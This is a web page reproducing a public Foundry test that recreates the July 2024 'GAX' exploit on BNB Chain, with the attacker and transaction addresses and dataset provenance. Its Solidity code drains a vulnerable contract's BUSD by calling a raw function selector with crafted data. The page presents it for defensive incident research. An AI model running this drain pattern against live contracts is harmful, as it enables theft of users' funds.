Skip to content
THREATWIRE

Public reproduction file

src/test/2024-07/GAX_exp.sol

Public reproduction file for dataset entry GAX.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-07/GAX_exp.sol35 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4// @KeyInfo - Total Lost : ~50k $BUSD
5// Attacker : https://bscscan.com/address/0x8ccf2860f38fc2f4a56dec897c8c976503fcb123
6// Attack Contract : https://bscscan.com/address/0x64b9d294cd918204d1ee6bce283edb49302ddf7e
7// Created Attack Contract: https://bscscan.com/address/0xa901FDA83E9906e6177f3A3f7B85f13f68723326
8// Vulnerable Contract : https://bscscan.com/address/0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b
9// Attack Tx : https://bscscan.com/tx/0x368f842e79a10bb163d98353711be58431a7cd06098d6f4b6cbbcd4c77b53108
11import "forge-std/Test.sol";
12import "./../interface.sol";
14contract ContractTest is Test {
15 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
16 IERC20 GAX = IERC20(0xD5d63074A39Bc0202E828B044C02c6F4d2f75c76);
17 address VulnContract_addr = 0xdb4b73Df2F6dE4AFCd3A883efE8b7a4B0763822b;
19 function setUp() public {
20 vm.createSelectFork("bsc", 40_375_925 - 1);
21 vm.label(address(BUSD), "BUSD");
22 vm.label(address(GAX), "GAX");
23 vm.label(address(VulnContract_addr), "VulnContract");
24 }
26 function testExploit() public {
27 emit log_named_decimal_uint("Attacker BUSD balance before attack", BUSD.balanceOf(address(this)), 18);
28 bytes memory data = abi.encode(0, BUSD.balanceOf(address(VulnContract_addr)), 0);
29 VulnContract_addr.call(abi.encodeWithSelector(bytes4(0x6c99d7c8), data));
30 emit log_named_decimal_uint("Attacker BUSD balance after attack", BUSD.balanceOf(address(this)), 18);
31 }
33 fallback() external payable {}
34 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “GAX” (2024-07-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x8ccf2860f38fc2f4a56dec897c8c976503fcb123

  • Attack Contract

    0x64b9d294cd918204d1ee6bce283edb49302ddf7e

  • Vulnerable Contract

    0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b

  • Attack Tx

    0x368f842e79a10bb163d98353711be58431a7cd06098d6f4b6cbbcd4c77b53108

File record

Name
GAX
Path
src/test/2024-07/GAX_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
aea86a5fb8f70660760962721fb33027418b2568
Language
Solidity
Size
36 lines
Date
2024-07-11
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-07/GAX_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob aea86a5fb8f70660760962721fb33027418b2568, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.